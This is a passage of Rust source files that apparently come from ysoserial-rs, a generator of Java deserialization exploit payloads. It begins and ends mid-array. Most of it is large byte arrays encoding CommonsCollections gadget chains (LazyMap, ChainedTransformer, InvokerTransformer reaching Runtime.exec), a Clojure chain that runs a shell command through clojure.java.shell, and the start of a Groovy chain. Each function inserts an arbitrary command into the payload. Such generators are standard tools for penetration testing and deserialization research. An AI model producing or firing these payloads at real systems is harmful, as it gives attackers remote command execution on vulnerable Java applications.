97, 80 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 81 | 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 82 | 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 83 | 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 84 | 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 85 | 8, 84, 224, 2, 0, 0, 120, 112, 86 | ] 87 | .to_vec(); 88 | let template_impl = get_k_template_impl(cmd); 89 | let template_impl_len = template_impl.len() as u32; 90 | result_bytes.extend(template_impl_len.to_be_bytes()); 91 | result_bytes.extend(&template_impl); 92 | result_bytes.extend([ 93 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 114, 0, 43, 111, 114, 103, 46, 94 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 95 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 109, 97, 112, 46, 76, 97, 122, 121, 77, 97, 112, 96 | 110, 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 116, 111, 114, 121, 97 | 116, 0, 45, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 98 | 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 47, 84, 114, 97, 99 | 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 59, 111, 114, 103, 46, 100 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 101 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 102 | 110, 118, 111, 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 103 | 232, 255, 107, 123, 124, 206, 56, 2, 0, 3, 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 104 | 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 105 | 11, 105, 77, 101, 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 9, 91, 0, 11, 105, 106 | 80, 97, 114, 97, 109, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 117, 114, 0, 19, 107 | 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 108 | 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 14, 110, 101, 119, 109 | 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 117, 114, 0, 18, 91, 76, 106, 97, 118, 110 | 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 111 | 153, 2, 0, 0, 120, 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 119, 112 | 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 113 | ]); 114 | result_bytes 115 | } 116 | pub fn get_commons_collections_k3(cmd: &str) -> Vec { 117 | let mut result_bytes = [ 118 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 119 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 120 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 121 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 52, 111, 114, 103, 122 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 123 | 101, 99, 116, 105, 111, 110, 115, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 105, 124 | 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 2, 0, 125 | 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 126 | 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 97, 127 | 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 116, 0, 1, 118, 115, 114, 0, 42, 128 | 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 129 | 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 109, 97, 112, 46, 76, 97, 122, 121, 130 | 77, 97, 112, 110, 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 116, 131 | 111, 114, 121, 116, 0, 44, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 132 | 109, 109, 111, 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 47, 84, 133 | 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 58, 111, 114, 134 | 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 135 | 108, 101, 99, 116, 105, 111, 110, 115, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 67, 136 | 104, 97, 105, 110, 101, 100, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 48, 199, 137 | 151, 236, 40, 122, 151, 4, 2, 0, 1, 91, 0, 13, 105, 84, 114, 97, 110, 115, 102, 111, 114, 138 | 109, 101, 114, 115, 116, 0, 45, 91, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 139 | 99, 111, 109, 109, 111, 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 140 | 47, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 117, 114, 0, 45, 91, 141 | 76, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 142 | 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 84, 114, 97, 110, 115, 102, 111, 143 | 114, 109, 101, 114, 59, 189, 86, 42, 241, 216, 52, 24, 153, 2, 0, 0, 120, 112, 0, 0, 0, 5, 144 | 115, 114, 0, 59, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 145 | 110, 115, 46, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 102, 117, 110, 99, 146 | 116, 111, 114, 115, 46, 67, 111, 110, 115, 116, 97, 110, 116, 84, 114, 97, 110, 115, 102, 147 | 111, 114, 109, 101, 114, 88, 118, 144, 17, 65, 2, 177, 148, 2, 0, 1, 76, 0, 9, 105, 67, 148 | 111, 110, 115, 116, 97, 110, 116, 113, 0, 126, 0, 3, 120, 112, 118, 114, 0, 17, 106, 97, 149 | 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 0, 0, 0, 0, 0, 0, 0, 150 | 0, 0, 0, 0, 120, 112, 115, 114, 0, 58, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 151 | 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 152 | 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 110, 118, 111, 107, 101, 114, 84, 114, 153 | 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 232, 255, 107, 123, 124, 206, 56, 2, 0, 3, 154 | 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 155 | 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 11, 105, 77, 101, 116, 104, 111, 100, 78, 156 | 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 157 | 105, 110, 103, 59, 91, 0, 11, 105, 80, 97, 114, 97, 109, 84, 121, 112, 101, 115, 116, 0, 158 | 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 159 | 112, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 160 | 101, 99, 116, 59, 144, 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 2, 116, 161 | 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 117, 114, 0, 18, 91, 76, 106, 97, 162 | 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 163 | 90, 153, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 9, 103, 101, 116, 77, 101, 116, 104, 111, 164 | 100, 117, 113, 0, 126, 0, 27, 0, 0, 0, 2, 118, 114, 0, 16, 106, 97, 118, 97, 46, 108, 97, 165 | 110, 103, 46, 83, 116, 114, 105, 110, 103, 160, 240, 164, 56, 122, 59, 179, 66, 2, 0, 0, 166 | 120, 112, 118, 113, 0, 126, 0, 27, 115, 113, 0, 126, 0, 19, 117, 113, 0, 126, 0, 24, 0, 0, 167 | 0, 2, 112, 117, 113, 0, 126, 0, 24, 0, 0, 0, 0, 116, 0, 6, 105, 110, 118, 111, 107, 101, 168 | 117, 113, 0, 126, 0, 27, 0, 0, 0, 2, 118, 114, 0, 16, 106, 97, 118, 97, 46, 108, 97, 110, 169 | 103, 46, 79, 98, 106, 101, 99, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 118, 113, 0, 170 | 126, 0, 24, 115, 113, 0, 126, 0, 19, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 171 | 97, 110, 103, 46, 83, 116, 114, 105, 110, 103, 59, 173, 210, 86, 231, 233, 29, 123, 71, 2, 172 | 0, 0, 120, 112, 0, 0, 0, 1, 173 | ] 174 | .to_vec(); 175 | result_bytes.extend(generate_string(cmd)); 176 | result_bytes.extend([ 177 | 116, 0, 4, 101, 120, 101, 99, 117, 113, 0, 126, 0, 27, 0, 0, 0, 1, 113, 0, 126, 0, 32, 115, 178 | 113, 0, 126, 0, 15, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 179 | 115, 104, 83, 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 120, 112, 119, 12, 180 | 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 120, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 181 | 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 182 | ]); 183 | result_bytes 184 | } 185 | pub fn get_commons_collections_k4(cmd: &str) -> Vec { 186 | let mut result_bytes = [ 187 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 188 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 189 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 190 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 53, 111, 114, 103, 191 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 192 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 193 | 105, 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 194 | 2, 0, 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 195 | 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 196 | 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 116, 0, 1, 118, 115, 114, 0, 43, 197 | 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 198 | 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 46, 109, 97, 112, 46, 76, 97, 122, 199 | 121, 77, 97, 112, 110, 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 200 | 116, 111, 114, 121, 116, 0, 45, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 201 | 111, 109, 109, 111, 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 202 | 47, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 59, 203 | 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 204 | 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 46, 102, 117, 110, 99, 116, 111, 114, 205 | 115, 46, 67, 104, 97, 105, 110, 101, 100, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 206 | 114, 48, 199, 151, 236, 40, 122, 151, 4, 2, 0, 1, 91, 0, 13, 105, 84, 114, 97, 110, 115, 207 | 102, 111, 114, 109, 101, 114, 115, 116, 0, 46, 91, 76, 111, 114, 103, 47, 97, 112, 97, 99, 208 | 104, 101, 47, 99, 111, 109, 109, 111, 110, 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 209 | 111, 110, 115, 52, 47, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 59, 120, 112, 210 | 117, 114, 0, 46, 91, 76, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 211 | 109, 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 52, 46, 84, 212 | 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 59, 57, 129, 58, 251, 8, 218, 63, 165, 2, 213 | 0, 0, 120, 112, 0, 0, 0, 5, 115, 114, 0, 60, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 214 | 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 215 | 115, 52, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 67, 111, 110, 115, 116, 97, 110, 216 | 116, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 88, 118, 144, 17, 65, 2, 177, 217 | 148, 2, 0, 1, 76, 0, 9, 105, 67, 111, 110, 115, 116, 97, 110, 116, 113, 0, 126, 0, 3, 120, 218 | 112, 118, 114, 0, 17, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 219 | 109, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 115, 114, 0, 59, 111, 114, 103, 46, 220 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 221 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 222 | 110, 118, 111, 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 223 | 232, 255, 107, 123, 124, 206, 56, 2, 0, 3, 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 224 | 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 225 | 11, 105, 77, 101, 116, 104, 111, 100, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 226 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 11, 105, 80, 97, 114, 227 | 97, 109, 84, 121, 112, 101, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 228 | 103, 47, 67, 108, 97, 115, 115, 59, 120, 112, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 229 | 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 206, 88, 159, 16, 115, 41, 230 | 108, 2, 0, 0, 120, 112, 0, 0, 0, 2, 116, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 231 | 101, 117, 114, 0, 18, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 232 | 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 153, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 233 | 9, 103, 101, 116, 77, 101, 116, 104, 111, 100, 117, 113, 0, 126, 0, 27, 0, 0, 0, 2, 118, 234 | 114, 0, 16, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 114, 105, 110, 103, 160, 235 | 240, 164, 56, 122, 59, 179, 66, 2, 0, 0, 120, 112, 118, 113, 0, 126, 0, 27, 115, 113, 0, 236 | 126, 0, 19, 117, 113, 0, 126, 0, 24, 0, 0, 0, 2, 112, 117, 113, 0, 126, 0, 24, 0, 0, 0, 0, 237 | 116, 0, 6, 105, 110, 118, 111, 107, 101, 117, 113, 0, 126, 0, 27, 0, 0, 0, 2, 118, 114, 0, 238 | 16, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 0, 0, 0, 0, 0, 239 | 0, 0, 0, 0, 0, 0, 120, 112, 118, 113, 0, 126, 0, 24, 115, 113, 0, 126, 0, 19, 117, 114, 0, 240 | 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 114, 105, 110, 103, 59, 241 | 173, 210, 86, 231, 233, 29, 123, 71, 2, 0, 0, 120, 112, 0, 0, 0, 1, 242 | ] 243 | .to_vec(); 244 | result_bytes.extend(generate_string(cmd)); 245 | result_bytes.extend([ 246 | 116, 0, 4, 101, 120, 101, 99, 117, 113, 0, 126, 0, 27, 0, 0, 0, 1, 113, 0, 126, 0, 32, 115, 247 | 113, 0, 126, 0, 15, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 248 | 115, 104, 83, 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 120, 112, 119, 12, 249 | 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 120, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 250 | 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 251 | ]); 252 | result_bytes 253 | } 254 | -------------------------------------------------------------------------------- /ysoserial-rs/src/clojure.rs: -------------------------------------------------------------------------------- 1 | use crate::base::generate_string; 2 | 3 | pub fn get_clojure(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 6 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 7 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 8 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 69, 99, 108, 111, 9 | 106, 117, 114, 101, 46, 105, 110, 115, 112, 101, 99, 116, 111, 114, 46, 112, 114, 111, 120, 10 | 121, 36, 106, 97, 118, 97, 120, 46, 115, 119, 105, 110, 103, 46, 116, 97, 98, 108, 101, 46, 11 | 65, 98, 115, 116, 114, 97, 99, 116, 84, 97, 98, 108, 101, 77, 111, 100, 101, 108, 36, 102, 12 | 102, 49, 57, 50, 55, 52, 97, 114, 116, 216, 182, 95, 8, 77, 69, 2, 0, 1, 76, 0, 14, 95, 95, 13 | 99, 108, 111, 106, 117, 114, 101, 70, 110, 77, 97, 112, 116, 0, 29, 76, 99, 108, 111, 106, 14 | 117, 114, 101, 47, 108, 97, 110, 103, 47, 73, 80, 101, 114, 115, 105, 115, 116, 101, 110, 15 | 116, 77, 97, 112, 59, 120, 114, 0, 36, 106, 97, 118, 97, 120, 46, 115, 119, 105, 110, 103, 16 | 46, 116, 97, 98, 108, 101, 46, 65, 98, 115, 116, 114, 97, 99, 116, 84, 97, 98, 108, 101, 17 | 77, 111, 100, 101, 108, 114, 203, 235, 56, 174, 1, 255, 190, 2, 0, 1, 76, 0, 12, 108, 105, 18 | 115, 116, 101, 110, 101, 114, 76, 105, 115, 116, 116, 0, 37, 76, 106, 97, 118, 97, 120, 47, 19 | 115, 119, 105, 110, 103, 47, 101, 118, 101, 110, 116, 47, 69, 118, 101, 110, 116, 76, 105, 20 | 115, 116, 101, 110, 101, 114, 76, 105, 115, 116, 59, 120, 112, 115, 114, 0, 35, 106, 97, 21 | 118, 97, 120, 46, 115, 119, 105, 110, 103, 46, 101, 118, 101, 110, 116, 46, 69, 118, 101, 22 | 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 76, 105, 115, 116, 145, 72, 204, 45, 115, 23 | 223, 14, 222, 3, 0, 0, 120, 112, 112, 120, 115, 114, 0, 31, 99, 108, 111, 106, 117, 114, 24 | 101, 46, 108, 97, 110, 103, 46, 80, 101, 114, 115, 105, 115, 116, 101, 110, 116, 65, 114, 25 | 114, 97, 121, 77, 97, 112, 227, 55, 112, 15, 152, 197, 244, 223, 2, 0, 2, 76, 0, 5, 95, 26 | 109, 101, 116, 97, 113, 0, 126, 0, 3, 91, 0, 5, 97, 114, 114, 97, 121, 116, 0, 19, 91, 76, 27 | 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 114, 0, 28 | 27, 99, 108, 111, 106, 117, 114, 101, 46, 108, 97, 110, 103, 46, 65, 80, 101, 114, 115, 29 | 105, 115, 116, 101, 110, 116, 77, 97, 112, 93, 124, 47, 3, 116, 32, 114, 123, 2, 0, 2, 73, 30 | 0, 5, 95, 104, 97, 115, 104, 73, 0, 7, 95, 104, 97, 115, 104, 101, 113, 120, 112, 255, 255, 31 | 255, 255, 255, 255, 255, 255, 112, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 32 | 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 206, 88, 159, 16, 115, 41, 108, 2, 0, 0, 33 | 120, 112, 0, 0, 0, 2, 116, 0, 8, 104, 97, 115, 104, 67, 111, 100, 101, 115, 114, 0, 26, 99, 34 | 108, 111, 106, 117, 114, 101, 46, 99, 111, 114, 101, 36, 99, 111, 109, 112, 36, 102, 110, 35 | 95, 95, 52, 55, 50, 55, 220, 238, 68, 128, 97, 2, 16, 185, 2, 0, 2, 76, 0, 1, 102, 116, 0, 36 | 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 37 | 1, 103, 113, 0, 126, 0, 17, 120, 114, 0, 19, 99, 108, 111, 106, 117, 114, 101, 46, 108, 97, 38 | 110, 103, 46, 82, 101, 115, 116, 70, 110, 196, 15, 123, 99, 199, 39, 53, 103, 2, 0, 0, 120, 39 | 114, 0, 22, 99, 108, 111, 106, 117, 114, 101, 46, 108, 97, 110, 103, 46, 65, 70, 117, 110, 40 | 99, 116, 105, 111, 110, 62, 6, 112, 156, 158, 70, 253, 203, 2, 0, 1, 76, 0, 17, 95, 95, 41 | 109, 101, 116, 104, 111, 100, 73, 109, 112, 108, 67, 97, 99, 104, 101, 116, 0, 30, 76, 99, 42 | 108, 111, 106, 117, 114, 101, 47, 108, 97, 110, 103, 47, 77, 101, 116, 104, 111, 100, 73, 43 | 109, 112, 108, 67, 97, 99, 104, 101, 59, 120, 112, 112, 115, 114, 0, 21, 99, 108, 111, 106, 44 | 117, 114, 101, 46, 109, 97, 105, 110, 36, 101, 118, 97, 108, 95, 111, 112, 116, 244, 17, 45 | 166, 143, 20, 196, 228, 38, 2, 0, 0, 120, 113, 0, 126, 0, 19, 112, 115, 114, 0, 32, 99, 46 | 108, 111, 106, 117, 114, 101, 46, 99, 111, 114, 101, 36, 99, 111, 110, 115, 116, 97, 110, 47 | 116, 108, 121, 36, 102, 110, 95, 95, 52, 54, 49, 52, 85, 228, 93, 198, 125, 224, 180, 212, 48 | 2, 0, 1, 76, 0, 1, 120, 113, 0, 126, 0, 17, 120, 113, 0, 126, 0, 18, 112, 49 | ] 50 | .to_vec(); 51 | let c = format!("(use '[clojure.java.shell :only [sh]]) (sh \"{}\")", cmd); 52 | result_bytes.extend(generate_string(&c)); 53 | result_bytes.extend([112, 120]); 54 | result_bytes 55 | } 56 | -------------------------------------------------------------------------------- /ysoserial-rs/src/groovy1.rs: -------------------------------------------------------------------------------- 1 | use crate::base::generate_string; 2 | 3 | pub fn get_groovy1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 50, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 6 | 97, 110, 110, 111, 116, 97, 116, 105, 111, 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 7 | 111, 110, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 8 | 85, 202, 245, 15, 21, 203, 126, 165, 2, 0, 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 9 | 97, 108, 117, 101, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 10 | 97, 112, 59, 76, 0, 4, 116, 121, 112, 101, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 11 | 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 112, 115, 125, 0, 0, 0, 1, 0, 13, 106, 97, 12 | 118, 97, 46, 117, 116, 105, 108, 46, 77, 97, 112, 120, 114, 0, 23, 106, 97, 118, 97, 46, 13 | 108, 97, 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 114, 111, 120, 121, 225, 14 | 39, 218, 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 76, 106, 97, 118, 97, 15 | 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 110, 118, 111, 99, 97, 16 | 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 115, 114, 0, 44, 111, 17 | 114, 103, 46, 99, 111, 100, 101, 104, 97, 117, 115, 46, 103, 114, 111, 111, 118, 121, 46, 18 | 114, 117, 110, 116, 105, 109, 101, 46, 67, 111, 110, 118, 101, 114, 116, 101, 100, 67, 108, 19 | 111, 115, 117, 114, 101, 16, 35, 55, 25, 247, 21, 221, 27, 2, 0, 1, 76, 0, 10, 109, 101, 20 | 116, 104, 111, 100, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 21 | 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 114, 0, 45, 111, 114, 103, 46, 99, 111, 100, 22 | 101, 104, 97, 117, 115, 46, 103, 114, 111, 111, 118, 121, 46, 114, 117, 110, 116, 105, 109, 23 | 101, 46, 67, 111, 110, 118, 101, 114, 115, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 24 | 16, 35, 55, 26, 214, 1, 188, 27, 2, 0, 2, 76, 0, 8, 100, 101, 108, 101, 103, 97, 116, 101, 25 | 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 26 | 76, 0, 11, 104, 97, 110, 100, 108, 101, 67, 97, 99, 104, 101, 116, 0, 40, 76, 106, 97, 118, 27 | 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 67, 28 | 111, 110, 99, 117, 114, 114, 101, 110, 116, 72, 97, 115, 104, 77, 97, 112, 59, 120, 112, 29 | 115, 114, 0, 41, 111, 114, 103, 46, 99, 111, 100, 101, 104, 97, 117, 115, 46, 103, 114, 30 | 111, 111, 118, 121, 46, 114, 117, 110, 116, 105, 109, 101, 46, 77, 101, 116, 104, 111, 100, 31 | 67, 108, 111, 115, 117, 114, 101, 17, 14, 62, 132, 143, 189, 206, 72, 2, 0, 1, 76, 0, 6, 32 | 109, 101, 116, 104, 111, 100, 113, 0, 126, 0, 9, 120, 114, 0, 19, 103, 114, 111, 111, 118, 33 | 121, 46, 108, 97, 110, 103, 46, 67, 108, 111, 115, 117, 114, 101, 60, 160, 199, 102, 22, 34 | 18, 108, 90, 2, 0, 8, 73, 0, 9, 100, 105, 114, 101, 99, 116, 105, 118, 101, 73, 0, 25, 109, 35 | 97, 120, 105, 